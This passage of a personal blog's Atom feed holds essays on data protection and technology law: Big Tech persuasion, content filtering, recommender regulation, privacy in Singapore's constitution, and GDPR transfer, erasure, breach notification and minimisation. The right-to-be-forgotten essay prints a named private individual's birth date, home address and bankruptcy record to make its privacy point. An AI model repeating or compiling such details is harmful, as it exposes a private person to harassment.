&lt;p&gt;[2] ibid.&lt;/p&gt;</content><category term="articles"></category><category term="Data"></category><category term="Legal"></category></entry><entry><title>Big Tech and Persuasion</title><link href="https://limbenjamin.com/articles/big-tech-and-persuasion.html" rel="alternate"></link><published>2024-03-06T09:50:00+08:00</published><updated>2024-03-06T09:50:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2024-03-06:/articles/big-tech-and-persuasion.html</id><summary type="html">&lt;p&gt;Zuboff believes that Big Tech has the capability to process large volumes of consumer behavioural data and use that to influence consumer behaviour [1]. According to Zuboff, this data is able to reveal what "a particular individual in a particular time and place was thinking, feeling, and doing" [2]. Zuboff …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Zuboff believes that Big Tech has the capability to process large volumes of consumer behavioural data and use that to influence consumer behaviour [1]. According to Zuboff, this data is able to reveal what "a particular individual in a particular time and place was thinking, feeling, and doing" [2]. Zuboff believes that these organizations also have the ability to "brush aside users' decision rights", in other words, directly influence their behaviour [3]. Zuboff believes that consumer's autonomy is taken away and consumers are made to purchase goods out of their free will.&lt;/p&gt;
&lt;p&gt;Doctorow believes that Zuboff's statements are an over exaggeration, and there is no mind-reading or mind-control. He believes that consumers still retain their autonomy, Big Tech is just able to more efficiently segment consumers using the data it has to deliver more targeted advertising [4]. Big Tech is just better at sifting out and identifying consumers who already have some intention to purchase those goods and selectively advertise to them. Doctorow uses the example of marketing diapers to new parents to make his point across. If mind-control was possible, diaper companies would have everyone be buying diapers. However, we do not see this happening. Rather, Big Tech is able to segment customers and more effectively persuade new parents who already require diapers to purchase from the advertised brand.&lt;/p&gt;
&lt;p&gt;Doctorow also believes that Big Tech makes use of deception in their practices [5]. Hence, consumers are still rational and in full control of their mental faculties. However, they are making a rational decision based on bad information introduced by deceptive practices. To use an example, if an information board in an indoor shopping mall deceived consumers by indicating that it is currently raining outside, a perfectly rational person might choose to buy an umbrella based on that bad information. It is a conscious and deliberate decision by that person and he was not mind-controlled into buying an umbrella.&lt;/p&gt;
&lt;p&gt;Lastly, Doctorow believes that dominance contributed to the effectiveness in the deception used by Big Tech. He uses the example of Google Search becoming the source of truth due to its dominance in the search engine industry [6]. To build on the umbrella example earlier, if the shopping mall had no windows, balconies or roof terraces, there is no way for consumers to verify if it was truly raining outside without leaving the mall. Faced with the decision of walking all the way to the entrance to verify for themselves and getting back to the umbrella shop on the 4th floor, the deception pulled off by the shopping mall would be a lot more effective.&lt;/p&gt;
&lt;p&gt;[1] Shoshana Zuboff (2019) 'The Age of Surveillance Capitalism: The Fight for a Human Future at the New Frontier of Power' (Profile Books 2019), Chapter 3, Section IV. The Discovery of Behavioral Surplus&lt;/p&gt;
&lt;p&gt;[2] ibid.&lt;/p&gt;
&lt;p&gt;[3] ibid, Chapter 3, Section VII. The Secrets of Extraction &lt;/p&gt;
&lt;p&gt;[4] Cory Doctorow (2020) 'How to Destroy Surveillance Capitalism' (OneZero 2020), pp. 13-15&lt;/p&gt;
&lt;p&gt;[5] ibid, pp. 15-17&lt;/p&gt;
&lt;p&gt;[6] ibid, pp. 17-18&lt;/p&gt;</content><category term="articles"></category><category term="Data"></category><category term="Legal"></category></entry><entry><title>Content Filters and Parenting</title><link href="https://limbenjamin.com/articles/content-filters-and-parenting.html" rel="alternate"></link><published>2024-02-14T11:30:00+08:00</published><updated>2024-02-14T11:30:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2024-02-14:/articles/content-filters-and-parenting.html</id><summary type="html">&lt;p&gt;I agree with Doctorow's main argument as well. With today's technology, content filtering is done on a best effort basis and it is highly likely that certain adult content will inevitably slip through the filters. Hence, good parenting is equally important to educate the child about inappropriate content and navigating …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I agree with Doctorow's main argument as well. With today's technology, content filtering is done on a best effort basis and it is highly likely that certain adult content will inevitably slip through the filters. Hence, good parenting is equally important to educate the child about inappropriate content and navigating away from such content.&lt;/p&gt;
&lt;p&gt;Sebrinah brought up how internet content is "way too vast" to be "restricted in real time". This problem is addressed in Cobbe's article where she brings up 2 different forms of moderation [1]. An "ex post approach to moderation" would indeed face this issue since it is reliant on user reporting and thus the infringing content may remain online temporarily. However, Cobbe has also suggested "ex ante forms of moderation" which entails identifying infringing content and blocking it from being published entirely. This approach would address the problem of "real time" restriction of content. &lt;/p&gt;
&lt;p&gt;"Ex ante forms of moderation" can be extremely effective especially if the same infringing content is repeatedly posted. Project Arachnid, which uses file hashes to detect known child abuse images was successful in detecting over 7.5 million suspected child abuse images [2][3]. It is important to point out the 7.5 million detections include both ex post scanning of existing material as well as ex ante blocking of upload attempts. Since the number of child abusers is extremely small (thankfully), it is possible to build a database of these images and use such search techniques. However, the volume of adult content is much larger. According to surveys, over a quarter of British teens aged 14 to 17 have sent sexual images to a partner [4]. It would be an insurmountable task to build such a database. Hence, while ex ante moderation might prima facie seem to be a viable solution, upon closer analysis, the issue of filtering adult content continues to be extremely challenging. Thus, good parenting is still invaluable and parents must take some responsibility in this aspect of their child's development.&lt;/p&gt;
&lt;p&gt;[1] Cobbe J, 'Algorithmic Censorship by Social Platforms: Power and Resistance' (2021) 34 Philosophy &amp;amp; technology 739 &lt;a href="https://search.proquest.com/docview/2607925736?pq-origsite=primo"&gt;https://search.proquest.com/docview/2607925736?pq-origsite=primo&lt;/a&gt;, pg. 740&lt;/p&gt;
&lt;p&gt;[2] 'Canadian Centre for Child Protection', 'Project Arachnid' &lt;a href="https://www.projectarachnid.ca/en/"&gt;https://www.projectarachnid.ca/en/&lt;/a&gt;, accessed 14 February 2024 &lt;/p&gt;
&lt;p&gt;[3] UK Government, Online Harms White Paper (UK Government) &lt;a href="https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/file/793360/Online_Harms_White_Paper.pdf"&gt;https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/file/793360/Online_Harms_White_Paper.pdf&lt;/a&gt;, accessed 14 February 2024, pg. 39&lt;/p&gt;
&lt;p&gt;[4] ibid. pg. 20&lt;/p&gt;</content><category term="articles"></category><category term="Legal"></category></entry><entry><title>Regulating Recommenders</title><link href="https://limbenjamin.com/articles/regulating-recommenders.html" rel="alternate"></link><published>2024-01-31T11:59:00+08:00</published><updated>2024-01-31T11:59:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2024-01-31:/articles/regulating-recommenders.html</id><summary type="html">&lt;p&gt;Cobbe believes that it is important to regulate recommenders because they play a key role in promoting content to a "large audience" and thus has a larger impact [1]. This makes sense considering over 400 hours of video content is uploaded onto Youtube every minute [2], which makes regulating content …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Cobbe believes that it is important to regulate recommenders because they play a key role in promoting content to a "large audience" and thus has a larger impact [1]. This makes sense considering over 400 hours of video content is uploaded onto Youtube every minute [2], which makes regulating content a non-trivial task. Since 70% of Youtube videos watched are driven by recommendations [3], regulating recommenders will address most of the problem at a fraction of the cost. The principle of "De minimis non curat lex" is observed here. Instead of imposing the burden of regulating thousands of hours of content, some of which attract barely any views, it is more effective to regulate only the popular recommended content which reach a wider audience.&lt;/p&gt;
&lt;p&gt;Cobbe distinguishes between 3 different types of recommending, Open Recommending where users are free to recommend user generated content, Curated Recommending where users recommend from within a list of curated content and finally, Closed Recommending where the platform produces the recommendations of its own content [4]. This distinction allows Cobbe to determine if harmful content is able to enter the system in the first place, and subsequently if that harmful content could possibly be recommended by the system. Cobbe subsequently concludes that Open Recommending is likely to be the "biggest contributer to systemic issues" [5].&lt;/p&gt;
&lt;p&gt;Cobbe believes that such recommender systems "serve the interest of the platform" and ultimately drives "platform dominance" [6]. By showing users similar content, they also have the propensity to shape the user's worldview and may ultimately influence the user to create more similar content, completing the feedback loop [7]. I agree with Cobbe's observation that such phenomenon is likely to occur. However, I also believe that Cobbe may have overemphasized the role of online platforms in an individual's life. The number of tertiary education students globally has doubled in the last 20 years [8]. Since critical thinking is a key skill, these students should be able to find alternative sources of information. Most people also spend considerable time interacting with colleagues in their workplace and with family and friends elsewhere, hence they should also be exposed to other viewpoints from these sources.&lt;/p&gt;
&lt;p&gt;Art. 25(1) of the EU Digital Services Act will put greater responsibility on online platforms to be more transparent in disclosing when recommender systems are used, thus alleviating Cobbe's concern of "echo chambers" and whether the systems are used as a leverage to benefit other products from the same company [9]. Art. 34 and 35 will allay concerns that unmoderated Open Recommender systems could promote harmful content. However, there will still exist issues whereby bots can manipulate recommender systems [10]. It is difficult for online platforms to detect such widespread targeted efforts especially when conducted by well resourced Nation State adversaries [11], hence little can be done in the form of regulation.&lt;/p&gt;
&lt;p&gt;[1] Cobbe J and Singh J, ‘Regulating Recommending: Motivations, Considerations, and Principles’ (2019) 10 European journal of law and technology, pp. 2&lt;/p&gt;
&lt;p&gt;[2] Hendricks VF and Vestergaard M, Reality Lost : Markets of Attention, Misinformation and Manipulation (1st edn, Springer Open 2019), Chpt 1.2 The Price of Information&lt;/p&gt;
&lt;p&gt;[3] Ashley Rodriguez (2018) 'YouTube's recommendations drive 70% of what we watch', Quartz .
&lt;a href="https://qz.com/1178125/youtubes-recommendations-drive-70-of-what-we-watch"&gt;https://qz.com/1178125/youtubes-recommendations-drive-70-of-what-we-watch&lt;/a&gt; accessed 31 January 2024&lt;/p&gt;
&lt;p&gt;[4] Cobbe J and Singh J, ‘Regulating Recommending: Motivations, Considerations, and Principles’ (2019) 10 European journal of law and technology, pp. 6&lt;/p&gt;
&lt;p&gt;[5] ibid.&lt;/p&gt;
&lt;p&gt;[6] ibid, pp. 7&lt;/p&gt;
&lt;p&gt;[7] ibid, pp. 8-9&lt;/p&gt;
&lt;p&gt;[8] UNESCO, "Higher education figures at a glance", &lt;a href="https://uis.unesco.org/sites/default/files/documents/f_unesco1015_brochure_web_en.pdf"&gt;https://uis.unesco.org/sites/default/files/documents/f_unesco1015_brochure_web_en.pdf&lt;/a&gt; accessed 31 January 2024 &lt;/p&gt;
&lt;p&gt;[9] Cobbe J and Singh J, ‘Regulating Recommending: Motivations, Considerations, and Principles’ (2019) 10 European journal of law and technology, pp. 9, 11&lt;/p&gt;
&lt;p&gt;[10] ibid, pp. 9-10&lt;/p&gt;
&lt;p&gt;[11] Emilio Ferrara et al "Characterizing social media manipulation in the 2020 U.S. presidential election", First Monday &lt;a href="https://firstmonday.org/ojs/index.php/fm/article/view/11431"&gt;https://firstmonday.org/ojs/index.php/fm/article/view/11431&lt;/a&gt; accessed 31 January 2024, pp. 7&lt;/p&gt;</content><category term="articles"></category><category term="Data"></category><category term="Legal"></category></entry><entry><title>Privacy in SG's Constitution</title><link href="https://limbenjamin.com/articles/privacy-in-sg-constitution.html" rel="alternate"></link><published>2024-01-22T20:51:00+08:00</published><updated>2024-01-22T20:51:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2024-01-22:/articles/privacy-in-sg-constitution.html</id><summary type="html">&lt;p&gt;Singapore does not have the right to privacy in her constitution. I find her case particularly interesting because Singapore was a British colony up until 1958. The European Convention of Human Rights (ECHR), of which the UK is a signatory, came into force in 1953 [1]. It would be interesting …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Singapore does not have the right to privacy in her constitution. I find her case particularly interesting because Singapore was a British colony up until 1958. The European Convention of Human Rights (ECHR), of which the UK is a signatory, came into force in 1953 [1]. It would be interesting to scratch the surface on what transpired between 1953 and 1958 that led to the current state of affairs today.&lt;/p&gt;
&lt;p&gt;The first document of interest would be the Rendel Commission Report (1954) [2]. The report was commissioned by the Governor of Singapore and consisted of a series of recommendations for the constitution of an internally self governing Singapore. It is stated in the report that "numerous representations" have asked for the inclusion of provisions to protect the "rights of minorities and of the individual", to protect "freedom of the Press", to protect "freedom of speech" etc [3]. Without access to the letters sent in by the representation, we would not know if the right to privacy was explicitly brought up and summarized under etc, or if it was not brought up at all. &lt;/p&gt;
&lt;p&gt;Nonetheless, it would not have mattered, because the Commission's stance was that while it was "deeply concerned" that the rights are protected, they do not consider it appropriate to include these provisions in a constitution of a self-governing country [4]. Furthermore they also reasoned that the Governor, bound by Royal Instructions, can serve as a safeguard [4].&lt;/p&gt;
&lt;p&gt;The next document of interest would be the Constitutional Proposals for the Federation of Malaya (1957) [5]. At this point, Singapore or Malaya as it was back then, was ready for full independence from the British. The fundamental liberties covered in Part II of the proposed constitution included inter alia the right to liberty, fair trial, prohibition of slavery, freedom of speech and religion [6]. The right to privacy was not included. It is futile to go further forward in history as the rights in the 1957 proposal almost directly mirror the rights in Singapore's constitution today. &lt;/p&gt;
&lt;p&gt;So why was the right to privacy left out? One possible reason was that the right to privacy in the UK was just in its infancy in the 1950s and had not gained traction. The rights that were included had far longer history in the UK, such as the Magna Carta Act in 1215 giving the right to fair trial and the Slave Trade Act 1807 prohibiting slavery. Coupled with the fact that the UK does not have a single constitutional document, it might have been possible that the right to privacy had been overlooked by the British government officials stationed overseas for long periods, who may not have had timely access to recent developments back in the UK. &lt;/p&gt;
&lt;p&gt;Another stronger reason, which I overlooked in my initial response until prompted by the lecturer, was the fact that although the ECHR has been "in force" since 1953, it was not incorporated into UK law until 1998. Unlike EU Directives, the European Court of Human Rights does not require States to incorporate the Convention into their laws [7]. The draft recommendations and proposals explored earlier clearly take reference from the British Westminster system and thus it makes sense that the right to privacy, absent from UK law, would also be absent from these documents.&lt;/p&gt;
&lt;p&gt;[1] Council of Europe, Convention for the protection of human rights and fundamental freedom and protocol. &lt;a href="https://www.echr.coe.int/documents/d/echr/Archives_1950_Convention_ENG"&gt;https://www.echr.coe.int/documents/d/echr/Archives_1950_Convention_ENG&lt;/a&gt; accessed 22 January 2024&lt;/p&gt;
&lt;p&gt;[2] Sir George Rendel, Report of the Constitutional Commission, Singapore (Government Printing Office, Singapore, 1954) &lt;a href="https://www.nlb.gov.sg/main/Book-Detail-Page?cmsUuID=5ecbf218-8ea0-4551-93ba-4c92228564ed"&gt;https://www.nlb.gov.sg/main/Book-Detail-Page?cmsUuID=5ecbf218-8ea0-4551-93ba-4c92228564ed&lt;/a&gt; accessed 22 January 2024&lt;/p&gt;
&lt;p&gt;[3] ibid, pg 38, para. 165&lt;/p&gt;
&lt;p&gt;[4] ibid, pg 38, para. 167&lt;/p&gt;
&lt;p&gt;[5] Secretary of State, Constitutional Proposals for the Federation of Malaya (London, Her Majesty's Stationary Office) &lt;a href="https://year006.tripod.com/constitutions_proposal_malaya_1957_searchable.pdf"&gt;https://year006.tripod.com/constitutions_proposal_malaya_1957_searchable.pdf&lt;/a&gt; accessed 22 January 2024&lt;/p&gt;
&lt;p&gt;[6] ibid, pg 34, Part II&lt;/p&gt;
&lt;p&gt;[7] Secretary of State For the Home Department, Rights Brought Home: The Human Rights Bill &lt;a href="https://assets.publishing.service.gov.uk/media/5a75a15040f0b67b3d5c7fd3/rights.pdf"&gt;https://assets.publishing.service.gov.uk/media/5a75a15040f0b67b3d5c7fd3/rights.pdf&lt;/a&gt; accessed 26 January 2024, para 1.12&lt;/p&gt;</content><category term="articles"></category><category term="Legal"></category></entry><entry><title>Tensegrity Hourglass Tower</title><link href="https://limbenjamin.com/articles/tensegrity-hourglass-tower.html" rel="alternate"></link><published>2023-12-03T20:47:00+08:00</published><updated>2023-12-03T20:47:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2023-12-03:/articles/tensegrity-hourglass-tower.html</id><summary type="html">&lt;p&gt;It's the holiday seasons and I decided to build a Tensegrity Hourglass Tower model as a holiday project.  &lt;/p&gt;
&lt;p&gt;Possibly the first in the world. The inverted tripod at the top is "floating" and only attached by twine. Tautline hitch is used to adjust the tension on the 3 sides.  &lt;/p&gt;
&lt;p&gt;The …&lt;/p&gt;</summary><content type="html">&lt;p&gt;It's the holiday seasons and I decided to build a Tensegrity Hourglass Tower model as a holiday project.  &lt;/p&gt;
&lt;p&gt;Possibly the first in the world. The inverted tripod at the top is "floating" and only attached by twine. Tautline hitch is used to adjust the tension on the 3 sides.  &lt;/p&gt;
&lt;p&gt;The vibration is due to the relatively low tension. Stable platform can be achieved with higher tension using stronger materials, e.g. titanium rods, wire rope, tensioners.  &lt;/p&gt;
&lt;video width="405" height="720" controls src="//limbenjamin.com/media/tensegrity_hourglass_tower.mp4" &gt;&lt;/video&gt;</content><category term="articles"></category><category term="Untagged"></category></entry><entry><title>GDPR: Transfer</title><link href="https://limbenjamin.com/articles/gdpr-transfer.html" rel="alternate"></link><published>2023-11-15T10:00:00+08:00</published><updated>2023-11-15T10:00:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2023-11-15:/articles/gdpr-transfer.html</id><summary type="html">&lt;p&gt;In Lindqvist, the court concluded that uploading data to a hosting provider within the EU where that data is available for access to anyone outside the EU does not constitute a data transfer [1]. The explanation given was that the page did not have the ability to initiate a transmission …&lt;/p&gt;</summary><content type="html">&lt;p&gt;In Lindqvist, the court concluded that uploading data to a hosting provider within the EU where that data is available for access to anyone outside the EU does not constitute a data transfer [1]. The explanation given was that the page did not have the ability to initiate a transmission of that information to those who were not seeking that information [2] and it was not a direct link between Lindqvist and the person in the third country but through a hosting provider [3].&lt;/p&gt;
&lt;p&gt;I believe this creates some form of a lacuna or loophole, where data processors can transmit/send/push/upload that data on a server and have the party in the third country request/retrieve/pull/download that data. Since, the transmission is initiated by the party in the third country and there is no direct link, it does not constitute a transfer. Much wasn't clarified because it wasn't relevant in Lindqvist. If it was specifically set up to require authentication such that it was meant only for a certain party to retrieve, would it have constituted a transfer?&lt;/p&gt;
&lt;p&gt;If I had could use an analogy to clarify, if I pass an envelope directly to a friend, it is a transfer. However, if I leave an envelope taped to the underside of a park bench, and someone happened to chance upon it at a later time and retrieved it, it is not a transfer. What if I had told a friend about the location with the expectation that he was going to retrieve it shortly after I taped it there? &lt;/p&gt;
&lt;p&gt;According to the GDPR, a "data transfer" occurs if and only if that data is processed after the "transfer" has taken place [4]. According to the ICO, if no processing takes place, it is merely considered a "data transit" and not "data transfer" [5]. I think this is a really elegant way to sidestep the complexity of defining the direction of transmission, intention behind transmission, direct/indirect transmission and other such aspects. If we were to return to that analogy, it no longer matters how my friend got hold of that envelope. If it remains sealed, it is a "data transit". Once he opens the envelope and processes the contents, it is a "data transfer".&lt;/p&gt;
&lt;p&gt;With the recent trend of "cloud computing", where processing and storage of data is moved to the cloud instead of on-premise, there has been increased scrutiny with respect to data transfers. In general, when data is moved to a cloud provider in a third party country, the European Commission recommends the use of Standard Contractual Clauses (SCC) to ensure that personal data receives adequate protection that meets the standards of the GDPR [6]. However, cloud providers do offer solutions such as a Virtual Private Cloud (VPC), which Amazon claims "closely resembles a traditional network that you'd operate in your own data center" [7]. In such cases, it can probably be argued that the data still remains within your organization and Binding Corporate Rules (BCR) might suffice. &lt;/p&gt;
&lt;p&gt;[1] Case C-101/01 Bodil Lindqvist [2013] ECR I–12971, para 70.&lt;/p&gt;
&lt;p&gt;[2] ibid, para 60.&lt;/p&gt;
&lt;p&gt;[3] ibid, para 61.&lt;/p&gt;
&lt;p&gt;[4] Regulation (EU) 2016/679 of the European Parliament and of the Council of 27 April 2016 on the protection of natural persons with regard to the processing of personal data and on the free movement of such data, and repealing Directive 95/46/EC (General Data Protection Regulation) [2016] OJ L 119/1, Article 44&lt;/p&gt;
&lt;p&gt;[5] Information Commisioner's Office, 'International data transfers' &lt;a href="https://ico.org.uk/for-organisations/data-protection-and-the-eu/data-protection-and-the-eu-in-detail/the-uk-gdpr/international-data-transfers/"&gt;https://ico.org.uk/for-organisations/data-protection-and-the-eu/data-protection-and-the-eu-in-detail/the-uk-gdpr/international-data-transfers/&lt;/a&gt; accessed 15 November 2023&lt;/p&gt;
&lt;p&gt;[6] COMMISSION IMPLEMENTING DECISION (EU) 2021/914 of 4 June 2021 on standard contractual clauses for the transfer of personal data to third countries pursuant to Regulation (EU) 2016/679 of the European Parliament and of the Council [2021] OJ L199/31&lt;/p&gt;
&lt;p&gt;[7] Amazon, 'What is Amazon VPC?' &lt;a href="https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html"&gt;https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html&lt;/a&gt; accessed 16 November 2023&lt;/p&gt;</content><category term="articles"></category><category term="Data"></category><category term="Legal"></category></entry><entry><title>GDPR: Right to be Forgotten</title><link href="https://limbenjamin.com/articles/gdpr-right-to-be-forgotten.html" rel="alternate"></link><published>2023-11-10T10:00:00+08:00</published><updated>2023-11-10T10:00:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2023-11-10:/articles/gdpr-right-to-be-forgotten.html</id><summary type="html">&lt;p&gt;Jan mentioned that data controllers have to ensure "every instance of their personal data is eliminated across all platforms". I believe that is a bit of an overstatement. I would have probably worded it as "every instance of their personal data where processing is authorized by the controller is eliminated …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Jan mentioned that data controllers have to ensure "every instance of their personal data is eliminated across all platforms". I believe that is a bit of an overstatement. I would have probably worded it as "every instance of their personal data where processing is authorized by the controller is eliminated". I don't think the original version meant to cover instances where the data has been processed by others who have not been authorized and do not have any contractual relationship with the controller. I think such a scenario would be possible in real life. In the Google Spain case, La Vanguardia Ediciones SL processed and published Mr González's personal data under the journalistic exemption [1]. Google Spain indexed that page without informing La Vanguardia. This constitutes data processing according to the judgment [2]. I believe it is safe to say that Google Spain has never been authorized by La Vanguardia to process personal data and it would be too onerous to expect La Vanguardia to chase down and enforce the data subject's request on companies which they may not even know may be processing the data subject's data, let alone even have a contractual relationship with. Furthermore, there may also be web services which aggregate or summarise data from multiple sources. How would you determine if that data originally came from La Vanguardia or some other media outlet that also reported on the case. &lt;/p&gt;
&lt;p&gt;Would the practical effect have differed? I don't believe so. The crux lies in the statement "shall be considered responsible for that publication". Jan's position is that responsibility includes both 'informing' and 'enforcing' the data subject's request. "Responsibility" as defined in Recital 74 states that "appropriate and effective measures" have to be taken "to demonstrate compliance" [3]. What would be considered appropriate? I believe that the controller should have a contractual clause indicating that the third party must comply with requests from the controller to remove personal data on request. The controller should ensure third party has appropriate processes that are certified and audited before entrusting the third party with the processing. In my opinion, these are the appropriate measures and would have sufficed under the controller's responsibility even in the original version. I don't think the original version meant to go as far as to include "enforcement". The third party is an independent party that cannot be compelled to perform an act. Holding a controller responsible for the actus reus committed by a third party even after the controller has taken appropriate safeguards is a bit far fetched in my opinion. Therefore I believe the practical effect might not have differ much, the current version was revised to bring greater clarity by using the term "reasonable steps". The original version would have discharged the controller of liability as long as similar "reasonable steps" were taken.&lt;/p&gt;
&lt;p&gt;On a side note, reading through the Google Spain case brought up something I chanced upon some years ago. In the Google Spain case, Mr González wanted embarrassing financial information (recovery of social security debts)about him no longer searchable as it had been fully resolved and was outdated information. The UK government has been publishing similar embarrassing financial information about insolvent individuals since 1703. Patrick Dennis Ellis Trueman, Unemployed, born 29/11/1962, residing at 1 StonebridgeLane, Great Houghton, Barnsley, South Yorkshire S72 0BY was declared bankrupt on 16/03/2009 [4][5]. The gazette also provides a search bar similar to Google which allows anyone to search any names to reveal past embarrassing financial information about a person. Unfortunately for Patrick, his embarrassing financial information happened to be a matter of public record and so will probably remain searchable for the next 300 years.&lt;/p&gt;
&lt;p&gt;[1] Case C-131/12 Google Spain SL and Google Inc. v Agencia Española de Protección de Datos (AEPD) and Mario Costeja González [2014], Para 85&lt;/p&gt;
&lt;p&gt;[2] Case C-131/12 Google Spain SL and Google Inc. v Agencia Española de Protección de Datos (AEPD) and Mario Costeja González [2014], Para 41&lt;/p&gt;
&lt;p&gt;[3] Regulation (EU) 2016/679 of the European Parliament and of the Council of 27 April 2016 on the protection of natural persons with regard to the processing of personal data and on the free movement of such data, and repealing Directive 95/46/EC (General Data Protection Regulation) [2016] OJ L 119/1, Recital 74&lt;/p&gt;
&lt;p&gt;[4] His Majesty's Stationery Office, 'Patrick Trueman | Bankruptcy Orders | The Gazette' &lt;a href="https://www.thegazette.co.uk/notice/L-59012-770015"&gt;https://www.thegazette.co.uk/notice/L-59012-770015&lt;/a&gt; accessed 10 November 2023.&lt;/p&gt;
&lt;p&gt;[4] His Majesty's Stationery Office, 'Patrick Trueman | Notice of Dividends' &lt;a href="https://www.thegazette.co.uk/notice/4475285"&gt;https://www.thegazette.co.uk/notice/4475285&lt;/a&gt; accessed 10 November 2023.&lt;/p&gt;</content><category term="articles"></category><category term="Data"></category><category term="Legal"></category></entry><entry><title>GDPR: Breach Notification</title><link href="https://limbenjamin.com/articles/gdpr-breach-notification.html" rel="alternate"></link><published>2023-10-29T10:00:00+08:00</published><updated>2023-10-29T10:00:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2023-10-29:/articles/gdpr-breach-notification.html</id><summary type="html">&lt;p&gt;I think there are areas where LastPass has done well and areas where they fall short.&lt;/p&gt;
&lt;p&gt;Firstly, LastPass's initial communication on August 25 2022 was sent two weeks after detecting a breach, which is reasonably timely considering they needed time to investigate the incident [1]. EDPB guidelines mandate that controller …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I think there are areas where LastPass has done well and areas where they fall short.&lt;/p&gt;
&lt;p&gt;Firstly, LastPass's initial communication on August 25 2022 was sent two weeks after detecting a breach, which is reasonably timely considering they needed time to investigate the incident [1]. EDPB guidelines mandate that controller should inform individuals timeously upon reasonable certainty of a breach [2]. It is important to note there was no evidence of any personal data breach at that time and they actually did not have any obligation to notify their customers. &lt;/p&gt;
&lt;p&gt;LastPass sent a total of four communications over four months with increasing amounts of detail as the investigation progressed [1]. The practice of sending notifications in phases is recommended in the EDPB guidelines to balance the need for timely as well as detailed notifications [3].&lt;/p&gt;
&lt;p&gt;However, LastPass fell short when it came to explaining the possible high risk to individual's privacy from the breach of unencrypted URLs. LastPass is a password manager, a URL signifies that the customer has an account with a specific website. Having an account with Morgan Stanley exposes an individual as a HNWI. Having an account on Autism Forum or Grindr exposes health and sexual orientation data respectively, which are special categories of data under GDPR. Instead, LastPass focused on their state-of-the-art password encryption which is technically a non-issue and didn't need to be disclosed since the confidentiality of the key was not compromised [4]. &lt;/p&gt;
&lt;p&gt;As for USS, I believe their response could have benefited from including the date of the breach to demonstrate timely response. It is difficult to compare the measures taken by LastPass and USS. LastPass provides a free service that anyone in the world can sign up for. Membership to USS is more exclusive and USS prima facie charges its members investment management fees. Mandating that controllers take action at their own expense might stifle companies that offer free services. Perhaps, we can take reference from the proposed Digital Services Act and vary the requirements based on the size and resources available to an organization [5].&lt;/p&gt;
&lt;p&gt;I believe more should be done preventively instead of reactively. Once information has been leaked, it remains out there indefinitely. We cannot expect individuals to be in a heightened state indefinitely or for companies to offer lifelong credit monitoring. We should prevent breaches by stepping up cybersecurity. In his article, Wolters mentioned that a IT security firm protecting a hypothetical energy company has no obligations under the GDPR as it is not processing any personal data and the GDPR does not harmonize the expectation on services delivered by the IT security firm [6].&lt;/p&gt;
&lt;p&gt;In this area, Singapore has been one of the first countries to mandate licensing for firms delivering cybersecurity monitoring and assessment services [7]. Licensing ensures a minimum standard of service and should greatly improve preventive measures. Companies can no longer engage a fly-by-night security firm to do a 10 minute security assessment just to rubber-stamp that compliance requirement.&lt;/p&gt;
&lt;p&gt;In a data breach, the negative externalities are experienced mainly by individuals whose data are being compromised and not the companies breached. Thus, there is a need for effective legislation to ensure companies internalize that cost and make genuine efforts to secure personal data.&lt;/p&gt;
&lt;p&gt;[1] Karim Toubba, 'Notice of Recent Security Incident' (LastPass, December 22, 2022) &lt;a href="https://blog.lastpass.com/2022/12/notice-of-recent-security-incident/"&gt;https://blog.lastpass.com/2022/12/notice-of-recent-security-incident/&lt;/a&gt; accessed 29 October 2023&lt;/p&gt;
&lt;p&gt;[2] EDPB, Guidelines 9/2022 on Personal Data Breach Notification Under GDPR &lt;a href="https://edpb.europa.eu/our-work-tools/our-documents/guidelines/guidelines-92022-personal-data-breach-notification-under_en"&gt;https://edpb.europa.eu/our-work-tools/our-documents/guidelines/guidelines-92022-personal-data-breach-notification-under_en&lt;/a&gt; accessed 29 October 2023, para 83&lt;/p&gt;
&lt;p&gt;[3] ibid, para 57&lt;/p&gt;
&lt;p&gt;[4] ibid, para 75&lt;/p&gt;
&lt;p&gt;[5] Regulation (EU) 2022/2065 of the European Parliament and of the Council of 19 October 2022 on a Single Market For Digital Services and amending Directive 2000/31/EC (Digital Services Act) [2022] OJ L 227/1, para 41&lt;/p&gt;
&lt;p&gt;[6] Wolters PTJ, 'The Security of Personal Data Under the GDPR: a Harmonized Duty or a Shared Responsibility?' (2017) 7 International Data Privacy Law 165, pp 171&lt;/p&gt;
&lt;p&gt;[7] Cybersecurity Act 2018, Part 5&lt;/p&gt;</content><category term="articles"></category><category term="Data"></category><category term="Legal"></category></entry><entry><title>GDPR: Data Minimisation</title><link href="https://limbenjamin.com/articles/gdpr-data-minimisation.html" rel="alternate"></link><published>2023-10-17T10:00:00+08:00</published><updated>2023-10-17T10:00:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2023-10-17:/articles/gdpr-data-minimisation.html</id><summary type="html">&lt;p&gt;I believe that the legislators drafting the GDPR have taken into account the concept of "behavioral surplus". Both can co-exist as long as companies exercise good judgement in the processing of data. According to Article 5(1)(c) of the GDPR, Personal data processed must be "adequate, relevant and limited …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I believe that the legislators drafting the GDPR have taken into account the concept of "behavioral surplus". Both can co-exist as long as companies exercise good judgement in the processing of data. According to Article 5(1)(c) of the GDPR, Personal data processed must be "adequate, relevant and limited to what is necessary" [1]. The crux here is the term "personal data", once companies anonymize the data, it no longer falls under the jurisdiction of the GDPR. Companies can then indulge in "all you can process" behaviour.&lt;/p&gt;
